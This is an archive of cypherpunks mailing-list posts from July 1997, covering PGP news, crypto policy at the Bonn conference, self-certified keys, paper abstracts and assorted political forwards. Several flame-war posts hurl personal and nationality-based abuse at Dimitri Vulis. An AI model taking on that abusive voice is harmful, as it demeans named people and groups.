http://www.firstmonday.dk/issues/issue2_7/almeida/
WebMonitor: a Tool for Measuring World-Wide Web Server
Performance
by Jussara M. Almeida, Virgilio Almeida, and David J. Yates

http://www.firstmonday.dk/issues/issue2_7/hibbitts/
E-Journals, Archives and Knowledge Networks: A
Commentary on Archie Zariski's Defense of Electronic Law Journals
by Bernard Hibbitts

http://www.firstmonday.dk/issues/issue2_7/bookrev/
Working the Web's Global Community: new books

----------------------------------------------------

http://www.firstmonday.dk/issues/issue2_7/odlyzko/
Fixed fee versus unit pricing for information goods:
competition, equilibria, and price wars
by Peter Fishburn, Andrew M. Odlyzko, and Ryan C. Siders

Information goods have negligible marginal costs, and
this will create possibilities for novel distribution and pricing
methods.

The main concern of this paper is with pricing of
goods that are likely to be consumed in large quantities by individuals.
For example, will software continue to be sold at a fixed price for
each  unit, or will it be paid for on the basis of usage? There is
substantial evidence both from observing marketplace evolution and from
surveys that customers overwhelmingly prefer subscription pricing. It
turns out that even if we ignore this factor, per-use pricing is not a
clear winner, and therefore when the preference effect is taken into
account, subscription pricing is likely to dominate.

We model competitive pricing between two companies that supply
essentially equivalent services (such as movies or  word processing
software). One company charges a fixed fee per unit,  while the other
charges on a per-use basis. Each is interested in  maximizing its
revenue. We consider instances of the models that have  stable
competitive equilibria between suppliers along with  situations that are
unstable and, in the absence of collusion, lead to ruinous price wars.

----------------------------

http://www.firstmonday.dk/issues/issue2_7/drelichman/
Efficient Pricing in Data Transmission Networks: The
Argentine  experience
by Mauricio Drelichman

This paper develops a model to reflect the Argentine  market for
end-user  Internet access and draws conclusions on certain  aspects of
economic  efficiency. After the Introduction, the second  section,
entitled A  Simple Model, provides a descriptive analysis of the  market
and its  related industry, deriving a stylized technology and
setting up a basic  model. The third part of the paper, An Application
to  the Argentine  Market, applies the model to Argentina, while the
fourth section,  Lessons from a Linear Demand Case, examines the
results of the model  under certain conditions. The model and the
linear  demand case are fully  developed in the Appendix.

-------------------------

http://www.firstmonday.dk/issues/issue2_7/goldhaber/
What's the Right Economics for Cyberspace?
by Michael H. Goldhaber
Which economic theory best describes what goes on on  the Internet? If
you believe as I do that the explosive growth of the  net and its
relatives will likely continue until they become the  dominant arenas
for
human effort and involvement, this is no idle  question. Theories are
guides to action: sticking to the wrong one can lead  to ruin; adopting
the right one opens the path to success.

-------------------------

http://www.firstmonday.dk/issues/issue2_7/berentsen/
Digital Money, Liquidity, and Monetary Policy
by Aleksander Berentsen
The term digital money refers to various proposed  electronic payment
mechanisms designed for use by consumers to make retail payments.
Digital money products have the potential to replace central bank
currency, thereby affecting the money supply. This paper studies the
effect of replacing central bank currency on the  narrowly defined stock
of money under various assumptions regarding  regulatory policies and
monetary operations of central banks and the reaction
of the banking  system.

----------------------

http://www.firstmonday.dk/issues/issue2_7/almeida/
WebMonitor: a Tool for Measuring World-Wide Web Server
Performance
by Jussara M. Almeida, Virgilio Almeida, and David J. Yates
Server performance has become a crucial issue for  improving the
overall  performance of the World-Wide Web. This paper  describes
WebMonitor, a  tool for evaluating and understanding server
performance, and presents  new results for realistic workloads.

WebMonitor measures activity and resource consumption,  both within the
kernel and in HTTP processes running in user space.  WebMonitor is
implemented using an efficient combination of sampling  and
event-driven  techniques that exhibit low overhead.

Our initial  implementation is for  the Apache World-Wide Web server
running on the Linux  operating system.  We demonstrate the utility of
WebMonitor by measuring  and understanding  the performance of a
Pentium-based PC acting as a  dedicated WWW server.  Our workloads use
file size distributions with a heavy  tail. This  captures the fact that
Web servers must concurrently  handle some  requests for large audio and
video files, and a large  number of requests
for small documents, containing text or images.

Our results show that in a Web server saturated by client requests, up
to 90% of the time spent handling HTTP requests is spent in the  kernel.
These results emphasize the important role of  operating system
implementation in determining Web server performance.
It also suggests  the need for new operating system implementations
that  are designed to  perform well when running on Web servers.

-------------------

http://www.firstmonday.dk/issues/issue2_7/hibbitts/
E-Journals, Archives and Knowledge Networks: A
Commentary on Archie  Zariski's Defense of Electronic Law Journals
by Bernard Hibbitts
In his First Monday article "Never Ending, Still  Beginning: A Defense
of  Electronic Law Journals from the Perspective of the  E-Law
Experience",  Professor Archie Zariski asserted that, despite recent
musings to the contrary, electronic legal periodicals have a bright
future in the age of the Internet. This article challenges that
contention, arguing that  in law as in other disciplines, the reach,
dynamism
and interactivity of  the Internet offer opportunities for the
development  of new scholarly  publishing paradigms - in particular,
archives and  "knowledge networks"  - which have the potential to enrich
and envigorate  legal learning more  than even the most progressive
electronic legal  journals.

--- end forwarded text



-----------------
Robert Hettinga (rah@shipwright.com), Philodox
e$, 44 Farquhar Street, Boston, MA 02131 USA
"... however it may deserve respect for its usefulness and antiquity,
[predicting the end of the world] has not been found agreeable to
experience." -- Edward Gibbon, 'Decline and Fall of the Roman Empire'
The e$ Home Page: http://www.shipwright.com/






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: dlv@bwalk.dm.com (Dr.Dimitri Vulis KOTM)
Date: Wed, 9 Jul 1997 12:57:06 +0800
To: cypherpunks@toad.com
Subject: Re: A really  meaningfull upgrade
In-Reply-To: <3.0.16.19970708110802.3bef3438@pop.netaddress.com>
Message-ID: <HLqJ0D2w165w@bwalk.dm.com>
MIME-Version: 1.0
Content-Type: text/plain



Casey Iverson <iverson@usa.net> writes:

> At 01:15 PM 7/7/97 EDT, THE RUSSIAN  SCUM BAG, ASS HOLE VULIS  wrote:
>
> >I've replaced OS/2 on it by Windows 95.  I'm going to add some more hardware
> >I think it's sort of a change for the better.
>
> The only meaningfull upgrade would be a total replacement of his fucked up,
> disease ridden perverted brain.
>
> C.I.

Not that I advocate such censorship, but usa.net is very fond of pulling the
plugs on its free accounts whenever there are complaints about contents. :-)

---

Dr.Dimitri Vulis KOTM
Brighton Beach Boardwalk BBS, Forest Hills, N.Y.: +1-718-261-2013, 14.4Kbps





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Magus Mixmaster Remailer	 <mix@magusnet.com>
Date: Wed, 9 Jul 1997 10:54:50 +0800
To: cypherpunks@toad.com
Subject: German Army Train Neo-Nazis
Message-ID: <199707090221.TAA06001@mail.magusnet.com>
MIME-Version: 1.0
Content-Type: text/plain




Well, appears that while the German government is railing against neo-Nazis
on the Net, the German army is busy training the next generation of
jack-booted thugs:

"Pictures That Shame The German Army"
(London Independent, 7/7/97, p.9)

Bonn -- A German newspaper yesterday published pictures from an amateur
videotape of soldiers staging mock executions and rapes.

A youthful recruit in a Bundeswehr uniform is shown holding a pistol in
the mouth of another recruit in an image published on the front page of
<I>Bild am Sonntag</I>.

Another photograph shows a soldier pretending to rape another recruit
acting as a woman civilian, who is later shown being marched to
"execution" by troops. Other pictures show enactments of "civilians"
being tortured and hanging from trees, images which revived memories of
atrocities by Hitler's armies.

"There will be no toleration whatsoever of such perversion in the
Bundeswehr," the Defence Minister, Volker Ruhe, said in an interview
with ZDf television. "I will do everything to see that those involved
are disciplined and prosecuted. We will ... take action against all
those involved, even if they are no longer in the army."

The army said eight recruits on the film, made at Hammelburg training
grounds, near Wurzburg, in April 1996, were no longer in the army. The
Bundeswehr investigation also focussed on officers who failed to report
the incident which took place during a break in training for soldiers
preparing for a mission in former Yugoslavia.

Lieutenant-General Helmut Willmann, the army's officer, said acts by
"a handful of mentally disturbed individuals" could not besmirch the
force's good name. "I am horrified by what happened at the Hammelburg
training ground," he said in a statement release by the defence
ministry.

The Greens criticized Gen Willmann for trying to write off the incident
as an abberation, as officers knew of the tape for more than a year but
said nothing about it. Jurgin Trittin, chairman of the Greens, said the
incident was the latest of a series of unsettling incidents. There had
been 53 reported incidents of right-wing extremism in the army in 1995.

Wolfgang Schraut, commander of Jaeger Battalion 571, where the incident
took place, said the recruits could no longer be punished by the army
because they had left. "We will not be able to get our hands on them
any more," the officer said. "They were released from the army in an
entirely normal fashion after completing their military service."

He said that he did not know of the existence of the videotape until
Friday and had learned that it was shown "on occasion in small circles
amongst the comrades." Some 3,000 Germans are in the Nato-led
Stabilization Force (SFOR) in Bosnia. Around 4,000 Germans took part
in SFOR's predecessor, the peace Implementation Force but were
stationed in nearby Croatia.







From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Jim Choate <ravage@ssz.com>
Date: Wed, 9 Jul 1997 09:05:36 +0800
To: cypherpunks@ssz.com (Cypherpunks Distributed Remailer)
Subject: French satellite attack...
Message-ID: <199707090041.TAA05039@einstein.ssz.com>
MIME-Version: 1.0
Content-Type: text



Hi,

Several of you asked for a reference to the French satellite attack. I have
been unable to locate any of my books because of moving related to the
business expansion we are going through at the moment. However, if one of you
out there has a copy of "When the phones stopped" or whatever the name was
please be kind enough to chech the index, as there is a reference to this
incident in that book (it's the only one I can clearly remember and a cpunk
might have a copy of).

I hope to have all the reference works unboxed and shelved within the next
couple of weeks. I have added this item to my To-Do list and will pursue it
then provided an answer is not forthcoming.

Sorry for the delay.

    ____________________________________________________________________
   |                                                                    | 
   |            _____                             The Armadillo Group   |
   |         ,::////;::-.                           Austin, Tx. USA     |
   |        /:'///// ``::>/|/                     http:// www.ssz.com/  |
   |      .',  ||||    `/( e\                                           |
   |  -====~~mm-'`-```-mm --'-                         Jim Choate       |
   |                                                 ravage@ssz.com     |
   |                                                  512-451-7087      |
   |____________________________________________________________________|





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Darryl Rowe <darrylr@iglou.com> (by way of Alec McCrackin <camcc@abraxis.com>)
Date: Wed, 9 Jul 1997 08:01:56 +0800
To: Cypherpunks <cypherpunks@toad.com>
Subject: [PGP-USERS] A start ... (hopefully) ...
Message-ID: <3.0.2.32.19970708194725.007c0100@smtp1.abraxis.com>
MIME-Version: 1.0
Content-Type: text/plain



-----BEGIN PGP SIGNED MESSAGE-----

Hopefully this is a harbinger of things to come (a July 7 press 
release at http://www.pgp.com), and maybe Phil can out-Gates Gates 
and assimilate Micro$oft (hey! I can dream, can't I?):

The Allegro Group, Inc. has incorporated PGP technology in their 
Encryption Gateway for Groupwise. Now, the 8.5 million users of 
Novell GroupWise will be able to send and receive encrypted email and 
attachments securely and easily. The Encryption Gateway for GroupWise 
is available on the Windows NT platform and is available as a beta 
product today. 

<snip>

The gateway is a 32-bit application and does not require any 
additional encryption. It supports keys up to 2048 bits and 
attachments (including uuEncode and MIME). The gateway works with any 
PGP or ViaCrypt product and/or key pair, and administrators may 
customize help and error messages. 

<snip>

Now if they can keep this up and get their foot in the door with all 
the other email vendors.

===============================================================
PGPMail preferred: key ID 0xE63E77E5. Finger darrylr@iglou.com 
http://keys.pgp.com:11371/pks/lookup?op=i
-----BEGIN PGP SIGNATURE-----
Version: PGP for Personal Privacy 5.0
Charset: noconv

iQEVAwUBM8Ketg/p7jvmPnflAQGg+AgAtGT7PyeVVjhLmEt4pGfHbWIUSVBjr8FA
zhtMa58sG3WQQAZWhfJkS65b6IXTO6q45P0uwLSuXNsFWtOf3B5tCqkrtavrARkh
OJA6UNJ5QrLMVSvKj70XUsogTP5G4n1ReVRgmAYxRNBGREwPo72asNj+71h+80vi
NkQNPiuZompq6YghG0uDVinB5Fb0RyTOpzLzN0SKbRJuTaNLRbHRlWA25dyYKoKJ
0tqsSc28NJEPhYCXf9PbyE0fiWiiJTxQVCCT/ZxpRoIXHPR4tYRmadhDzCpwak92
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=H+9P
-----END PGP SIGNATURE-----






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: dlv@bwalk.dm.com (Dr.Dimitri Vulis KOTM)
Date: Wed, 9 Jul 1997 13:17:20 +0800
To: cypherpunks@toad.com
Subject: Re: Is the Vulisbot triggered by my posts?
In-Reply-To: <Pine.LNX.3.91.970708163936.874B-100000@fatmans.demon.co.uk>
Message-ID: <i75J0D5w165w@bwalk.dm.com>
MIME-Version: 1.0
Content-Type: text/plain



Paul Bradley <paul@fatmans.demon.co.uk> writes:

> > I've replaced OS/2 on it by Windows 95.
>
> And to think they gave you a Ph.D ;-)....

Well, it's in math, not comp.sci. :-)

> > I think it's sort of a change for the better.  (I still have W95, Linux,
> > and OS/2 on other boxes.)
>
> You think moving from OS/2 to Win95 is a change for the better? Must be
> good shit, Did you bring enough for everyone?

We had a greateful dead concern 1 block from us last week - weed was just
lying in the street afterwards.

> But, to be quite honest (and people who know me will know just how much I
> hate to give any form of praise to Micro$oft), Win95 isn`t really that
> bad just for web browsing and mail, but I use linux anyway because I like
> procmail and it is convenient to have the OS running when I want it
> instead of having to reboot.

My plan was to move this box from OS/2 to NT, but NT wouldn't install,
so I'm keeping W95 on it until I get around modernizing the hardware.

I think the best policy is to have "1 of each".

---

Dr.Dimitri Vulis KOTM
Brighton Beach Boardwalk BBS, Forest Hills, N.Y.: +1-718-261-2013, 14.4Kbps





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: dlv@bwalk.dm.com (Dr.Dimitri Vulis KOTM)
Date: Wed, 9 Jul 1997 13:13:09 +0800
To: cypherpunks@toad.com
Subject: Re: Is the Vulisbot triggered by my posts?
In-Reply-To: <Pine.BSF.3.91.970708165840.9770B-100000@mcfeely.bsfs.org>
Message-ID: <mc6J0D6w165w@bwalk.dm.com>
MIME-Version: 1.0
Content-Type: text/plain



Rabid Wombat <wombat@mcfeely.bsfs.org> writes:

> On Tue, 8 Jul 1997, Dr.Dimitri Vulis KOTM wrote:
>
> > "William H. Geiger III" <whgiii@amaranth.com> writes:
> >
> > > -----BEGIN PGP SIGNED MESSAGE-----
> > >
> > > In <24eH0D4w165w@bwalk.dm.com>, on 07/07/97
> > >    at 01:15 PM, dlv@bwalk.dm.com (Dr.Dimitri Vulis KOTM) said:
> > >
> > > >I've replaced OS/2 on it by Windows 95.
> > >
> > > Sorry to hear of your downgrade. :(
> >
> > Downgrade it is.  I was planning to migrate this one to NT, but NT won't
> > install without some hardware changes, so I settled for W95 for now.
> >
> > I still have another box running OS/2.
>
> Couldn't ya get the NSA to spring for a copy of BSD?  ;)

I don't think I could even get a dockmaster account.

> Even a low-budget operation should be able to afford a free OS!

I already have a Linux box. I figure two Intel boxes running Unix clones
would be redundant. :-) I might get a donation of a Sparc 20, though.

---

Dr.Dimitri Vulis KOTM
Brighton Beach Boardwalk BBS, Forest Hills, N.Y.: +1-718-261-2013, 14.4Kbps





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: dlv@bwalk.dm.com (Dr.Dimitri Vulis KOTM)
Date: Wed, 9 Jul 1997 23:44:41 +0800
To: cypherpunks@toad.com
Subject: Re: The Vulisbot
In-Reply-To: <19970709084723.1920.qmail@squirrel.owl.de>
Message-ID: <TuNk0D8w165w@bwalk.dm.com>
MIME-Version: 1.0
Content-Type: text/plain



Secret Squirrel <nobody@secret.squirrel.owl.de> writes:

>  Re: Liberating the Bits
> Dr.Dimitri Vulis KOTM blathers:
>
> >Tim May <tcmay@got.net> writes:
> >> Let it be known I did not write any of the material above attributed to me
> >
> >And we're supposed to believe you?
>
> Yup. Like we believe you when you deny the Vilusbot. get over it, Kook.

In what way do I deny the Vulisbot?

---

Dr.Dimitri Vulis KOTM
Brighton Beach Boardwalk BBS, Forest Hills, N.Y.: +1-718-261-2013, 14.4Kbps





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Lucky Green <shamrock@netcom.com>
Date: Wed, 9 Jul 1997 23:45:55 +0800
To: cypherpunks@Algebra.COM
Subject: More PGP volunteers needed
Message-ID: <3.0.2.32.19970709083804.0072d7d4@netcom10.netcom.com>
MIME-Version: 1.0
Content-Type: text/plain



Folks,

The proofreading of the legally exported PGP source is going pretty slow.
Platform independent source is only 68% done, Windows and Macintosh 6 and
2% respectively. http://www.ifi.uio.no/pgp/

It would speed things up if more non-US citizens living outside the US
willing to proofread source were to contact Stale Schumacher at
<stale@hypnotech.com> to volunteer some time. You can wait for the source
to show up on your favorite ftp site, or you can make it happen. Your choice.

You would need a basic C compiler and perl to join the "Free the Source"
effort. A scanner is *not* needed.

--Lucky, who by law can not participate in the proofreading.
--Lucky Green <shamrock@netcom.com>
  PGP encrypted mail preferred.
  DES is dead! Please join in breaking RC5-56.
  http://rc5.distributed.net/





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: winsock@rigel.cyberpass.net (WinSock Remailer)
Date: Wed, 9 Jul 1997 20:59:49 +0800
To: cypherpunks@toad.com
Subject: Rose Bird vs Multi-Ethnic Diversity/IRS racial quotas
Message-ID: <199707091241.FAA07369@sirius.infonex.com>
MIME-Version: 1.0
Content-Type: text/plain




Wonder what the lefty-racists will say about this...

Sunday, July 6, 1997 . Page B 8
San Francisco Examiner     

LETTERS TO THE EDITOR
 

Rose Elizabeth Bird's ignorant and poorly reasoned column ( "A brutal
education legacy," June 29) in which she identified the end of affirmative
action at the University of California with apartheid is an example of why
race-based policies have become so bankrupt among the citizens of California.


Apartheid classified individuals strictly according to race and ignored
their individual abilities. Blacks in South Africa could not go to white
universities regardless of their intellectual accomplishments. Affirmative
action classified individuals according to race and their individual
accomplishments. The end of affirmative action means that individuals will
be assessed in terms of their individual accomplishments. It is as far away
from apartheid as a policy could possibly be. 

Moreover, the end of affirmative action will not result in ethnically
homogeneous campuses at the University of California. The student population
in this state is astonishingly diverse. There are large numbers of men and
women whose forebears came from all over Europe, Africa, Latin America and
Asia. 

What the end of affirmative action will do is to change the mix. There will
be more individuals of Chinese, Japanese, Sri Lankan, Indian, Pakistani and
Russian descent, and fewer individuals of African and Latin American descent.

Bird might not like this new mix, but the astonishing ethnic diversity of
California universities will not end as a result of the termination of
affirmative action - only race-based discrimination will. 

Stephen D. Krasner 
Department of Political Science 
Stanford University 



Rose Bird's "disgraceful, social do-gooding, liberal attack'

Anent Rose Elizabeth Bird's disgraceful - albeit typically social do-gooding
liberal - attack upon Gov. Wilson and UC Regent Ward Connerly for taking us
from "affirmative action to California-style apartheid" : 

The opinions, political philosophy and judicial activism of former
California Chief Justice Bird were unequivocably repudiated by the voters of
California when she and two other like-thinking liberal justices were
deservedly removed from the court. Bird's words today - as were her
pronouncements from the bench of yesteryear - would be laughable were they
not so dangerous. 

Thomas M. Edwards 
San Francisco 

====================================================


US NEWS & WORLD REPORT

UPDATE  July, 1997

The IRS loses a round

SOON AFTER PRESIDENT CLINTON announced his "mend it, don't end it" policy on
affirmative action, U.S. News reported ("Between the Idea and the Reality,"
July 31, 1995) on race-and-employment skirmishes within the federal
bureaucracy. In one prominent example, critics accused the Internal Revenue
Service of maintaining virtual quotas in its hiring practices. In the past
two years, the IRS has lost several cases involving charges of "reverse
discrimination" that were brought by white males. Two of the cases involved
accusations by IRS employees who charged that the agency had retaliated
against them for filing or supporting reverse-bias claims. Federal District
Court Judge Donald E. Walter in Shreveport, La., recently declared the IRS's
policy on racial and gender diversity unconstitutional, saying that it
amounted to a "quota, guarantee, or set-aside." The judge issued his ruling
in a suit brought by four white males that is set for trial next month. The
case may be settled, but the IRS will be under pressure to overhaul its
policy, which may be challenged in a class-action suit.--Ted Gest

Copyright U.S. News & World Report, Inc. 










From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Secret Squirrel <nobody@secret.squirrel.owl.de>
Date: Wed, 9 Jul 1997 17:13:23 +0800
To: cypherpunks@toad.com
Subject: The Vulisbot
Message-ID: <19970709084723.1920.qmail@squirrel.owl.de>
MIME-Version: 1.0
Content-Type: text/plain



 Re: Liberating the Bits
Dr.Dimitri Vulis KOTM blathers:

>Tim May <tcmay@got.net> writes:
>> Let it be known I did not write any of the material above attributed to me.
>
>And we're supposed to believe you?

Yup. Like we believe you when you deny the Vilusbot. get over it, Kook.










From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Theodor.SCHLICKMANN@bxl.dg13.cec.be
Date: Wed, 9 Jul 1997 15:20:50 +0800
To: <cypherpunks@Algebra.COM>
Subject: Copy of: Bonn Conference - press release and links to final        conference documents on the WWW
Message-ID: <WIN2359-970709070052-3437*/G=Theodor/S=SCHLICKMANN/OU=BXL/O=DG13/PRMD=CEC/ADMD=RTT/C=BE/@MHS>
MIME-Version: 1.0
Content-Type: message/rfc822



From: Richard.SWETENHAM@LUX.DG13.cec.be
To: Herbert.ALLGEIER@BXL.DG13.cec.be, Nicholas.ARGYRIS@BXL.DG13.cec.be,
    "Carl Johan.ASENIUS"@DG1.cec.be, Telmo.BALTAZAR@SG.cec.be,
    Elisabeth.BENZLER@CAB.cec.be, Peter.BERZ@DG1.cec.be,
    Sue.BIRD@BXL.DG13.cec.be, Pierre.BISCHOFF@LUX.DG13.cec.be,
    Michel.BROCHARD@LUX.DG13.cec.be, Reinhard.BUESCHER@DG3.cec.be,
    Giuseppe.CACCIATO@DG24.cec.be, Andrew.CHAPMAN@BXL.DG5.cec.be,
    Bernard.CLEMENTS@BXL.DG13.cec.be, Dimitri.CORPAKIS@DG12.cec.be,
    "Jean-Louis.DE BROUWER"@SG.cec.be, Frans.DE-BRUINE@LUX.DG13.cec.be,
    Tonnie.DE-KOSTER@BXL.DG13.cec.be, Fabrizia.DE-ROSA@BXL.DG13.cec.be,
    Daniel.DEBERGHES@LUX.DG13.cec.be, Gianmarco.DI-VITA@BXL.DG13.cec.be,
    Frederic.DONCK@DG23.cec.be, Alain.DUMORT@DG22.cec.be,
    Klaus.EBERMANN@SG.cec.be, Detlef.ECKERT@BXL.DG13.cec.be,
    Iordana.ELEFTHERIADOU@DG3.cec.be, Margot.FROEHLINGER@DG15.cec.be,
    Francois.GENISSON@SG.cec.be, "Miryam.GONZALEZ DURANTEZ"@DG1.cec.be,
    Giulio.GRATA@LUX.DG13.cec.be, Gerhard.HEINE@LUX.DG13.cec.be,
    David.HERSON@BXL.DG13.cec.be, Ola-Kristian.HOFF@LUX.DG13.cec.be,
    Jan.HOORENS@LUX.DG13.cec.be, Martina.HUBER@DG22.cec.be,
    Peter.JOHNSTON@BXL.DG13.cec.be, Androulla.KAMINARA@BXL.DG13.cec.be,
    Kurt.KOENIG@DG23.cec.be, Nathalie.LABOURDETTE@DG10.cec.be,
    Christophe.LECLERCQ@DG4.cec.be, Serge.LUSTAC@LUX.DG13.cec.be,
    Tung-Lai.MARGUE@SG.cec.be, Maria.MARTIN-PRAT@DG15.cec.be,
    George.METAKIDES@DG3.cec.be, "Lars.MITEK PEDERSEN"@SG.cec.be,
    Stig.MYKEN@BXL.DG13.cec.be, Nicholas.NEWMAN@DG12.cec.be,
    Michael.NIEBEL@CAB.cec.be, George.PAPAPAVLOU@LUX.DG13.cec.be,
    "Vicente.PARAJON COLLADA"@LUX.DG13.cec.be, Gregory.PAULGER@DG10.cec.be,
    Michelle.QUERE@DG15.cec.be, Alan.REEKIE@BXL.DG13.cec.be,
    Andrea.RICCI@BXL.DG13.cec.be, Michel.RICHONNIER@BXL.DG13.cec.be,
    Claudia.RITTER@FSE.DG5.cec.be, Kenneth.ROBERTS@DG24.cec.be,
    Jan.ROUKENS@LUX.DG13.cec.be, Peter.SANDLER@BXL.DG13.cec.be,
    Richard.SCHLECHTER@BXL.DG13.cec.be, Theodor.SCHLICKMANN@BXL.DG13.cec.be,
    Alain.SERVANTIE@BXL.DG13.cec.be, Christine.SOTTONG-MICAS@DG15.cec.be,
    Guenter.STEVEN@LUX.DG13.cec.be, David.TALBOT@DG3.cec.be,
    Peter.THEUNISSEN@DG21.cec.be, Paul.TIMMERS@DG3.cec.be,
    Xavier.TROUSSARD@DG10.cec.be, Anne.TROYE@DG3.cec.be,
    Paul.VANDOREN@DG1.cec.be, Viviane.VANOVERMEIRE@SG.cec.be,
    Robert.VERRUE@BXL.DG13.cec.be, Patrick.VITTET-PHILIPPE@BXL.DG13.cec.be,
    Adam.WATSON-BROWN@BXL.DG13.cec.be, Birgit.WEISE-MONTAG@DG15.cec.be,
    Christopher.WILKINSON@BXL.DG13.cec.be, Gunter.WILMS@LUX.DG13.cec.be,
    Rosalie.ZOBEL@DG3.cec.be
Subject: Bonn Conference - press release and links to final conference
         documents on the WWW
Message-ID: <WIN2363-970708170425-3253*/G=Richard/S=SWETENHAM/OU=LUX/O=DG13/PRMD=CEC/ADMD=RTT/C=BE/@MHS>
MIME-Version: 1.0
Content-Type: multipart/mixed; boundary="Boundary=_1.1_=9999990000640953"


--Boundary=_1.1_=9999990000640953
Content-Type: text/plain; charset=us-ascii

please find attached the Bonn Conference press release . Please note that the following are also available on http://www2.echo.lu/bonn/conference.html

        English, French and German versions of the Ministerial declaration (WinWord, RTF, PostScript) 
        Industrial declaration (WinWord, RTF, PostScript) 
        Users Declaration "Putting people's needs at the centre" (WinWord, RTF, PostScript) 




Richard Swetenham

--Boundary=_1.1_=9999990000640953
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From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Theodor.SCHLICKMANN@bxl.dg13.cec.be
Date: Wed, 9 Jul 1997 15:28:38 +0800
To: <cypherpunks@Algebra.COM>
Subject: Self-certified keys
Message-ID: <WIN2359-970709071253-248A*/G=Theodor/S=SCHLICKMANN/OU=BXL/O=DG13/PRMD=CEC/ADMD=RTT/C=BE/@MHS>
MIME-Version: 1.0
Content-Type: text/plain




You may find some articles related to the subject on

http://www.ens.fr/~petersen/publications.html

In these papers several extensions of self-certified keys, which 
make them more competitive compared with certificate-based keys 
are presented. 

The main features of self-certified keys lie in their easy
availability and accessibility. Other parameters than 
system parameters are not required to be authentic. 
Therefore large databases with certified public keys (TTPs) 
are not needed any more. However, small lists with the 
authentic public keys of the certification authorities 
are still needed. 

The properties of self-certified keys are:

-- Determination of a public key without an authentic 
   public directory (TTP).

-- Non-repudiation of public keys.

-- Efficient verification of a single certificate.

-- Efficiency in verification of hierarchical certificates
   vs. batch signatures

-- Importance of key propagation.

-- High security of self-certified keys.

Theodor Schlickmann





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Donald Weightman <dweightman@Radix.Net>
Date: Wed, 9 Jul 1997 21:54:00 +0800
To: cryptography@c2.net
Subject: More on crypto from Bonn
Message-ID: <3.0.16.19970709093445.23d7be9e@pop.radix.net>
MIME-Version: 1.0
Content-Type: text/plain



Another story in today's FINANCIAL TIMES

        http://www.FT.com

describes a "clash" between USCommerce Sec'y Daley and German economic
minister Rexrodt on strong crypto. Because the speakers' choices of words
are interesting, I quote from the FT article by Ralph Atkins:

                        On coding technology, however, Mr Daley insisted,
"there are certain
                   legitimate areas where governments have to be involved".
Encryption
                   should be used to protect credit card numbers or
detailed contracts from
                   being read. But, he went on: "We must also make sure
national security is
                   safeguarded by applying those rules sensibly, so that
potential terrorists or
                   other sophisticated criminals cannot hide their work."

                   Mr Rexrodt hinted the European ministers regarded US
policy on
                   exporting encryption technology as discriminatory.

                   He backed "strong" encryption procedures, which he said
were "offering
                   users the only protection that they have, the only
certainty, that their data is
                   not going to be divulged or misused on open networks".

                   Mr Rexrodt was backed by Mr Ron Sommer, chairman of
Deutsche
                   Telekom, Europe's largest telecommunications group, who
said: "Anyone
                   who uses the point of public security as an argument in
this [encryption]
                   issue has not realised or acknowledged that any such
legal requirements
                   stand in the way of the further spread of electronic
commerce." 

Questions for the reader:

        What's a "potential" terrorist? (Is the occasional apparent c'punx
paranoia justified?)
        
        How is the US export policy discriminatory?

        Why is DT coming out on this issue? Who are their strategic
partners for ecommerce among US telecomms? (I'll have to ask around about
that ...) 


cheers



.........................................
Donald Weightman
dweightman@radix.net





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Casey Iverson <iverson@usa.net>
Date: Wed, 9 Jul 1997 21:53:30 +0800
To: cypherpunks@Algebra.COM
Subject: Re: A really  meaningfull upgrade
Message-ID: <3.0.16.19691231190000.5257ba42@pop.netaddress.com>
MIME-Version: 1.0
Content-Type: text/plain



At 07:18 PM 7/8/97 EDT, you wrote:
>
>Casey Iverson <iverson@usa.net> writes:
>
>> At 01:15 PM 7/7/97 EDT, THE RUSSIAN  SCUM BAG, ASS HOLE VULIS  wrote:
>>
>> >I've replaced OS/2 on it by Windows 95.  I'm going to add some more
hardware
>> >I think it's sort of a change for the better.
>>
>> The only meaningfull upgrade would be a total replacement of his fucked up,
>> disease ridden perverted brain.
>>
>> C.I.
>
>Not that I advocate such censorship, but usa.net is very fond of pulling the
>plugs on its free accounts whenever there are complaints about contents. :-)
>

Who do we talk to about pulling the plug on the Russian Scumbag KGB lovers
TC May insult bot???





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Theodor.SCHLICKMANN@bxl.dg13.cec.be
Date: Wed, 9 Jul 1997 16:38:58 +0800
To: <cypherpunks@Algebra.COM>
Subject: Bonn Konferenz (2)
Message-ID: <WIN2359-970709081722-6EC4*/G=Theodor/S=SCHLICKMANN/OU=BXL/O=DG13/PRMD=CEC/ADMD=RTT/C=BE/@MHS>
MIME-Version: 1.0
Content-Type: multipart/mixed; boundary="Boundary..3971.1071713714.multipart/mixed"

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please find attached the Bonn Conference press release . Please note that the following are also available on http://www2.echo.lu/bonn/conference.html

        English, French and German versions of the Ministerial declaration (WinWord, RTF, PostScript) 
        Industrial declaration (WinWord, RTF, PostScript) 
        Users Declaration "Putting people's needs at the centre" (WinWord, RTF, PostScript) 


Theodor Schlickmann



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--Boundary..3971.1071713714.multipart/mixed--



From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: geeman@best.com
Date: Thu, 10 Jul 1997 00:12:04 +0800
To: cypherpunks@toad.com
Subject: No Subject
Message-ID: <3.0.32.19691231160000.006c4898@best.com>
MIME-Version: 1.0
Content-Type: text/plain



http://www.sacog.org/web/text/datactr/facts/octff.htm:

Facts and Figures

Migration for July 1995 to June 1996
October 1996

The Department of Motor Vehicles publishes an annual report of migration
based on Driver License and California ID card
holders change of address. Data is presented for individuals 18 and over.
The data collected is through voluntary cooperation
between the states. The California DMV, based on historical data, believes
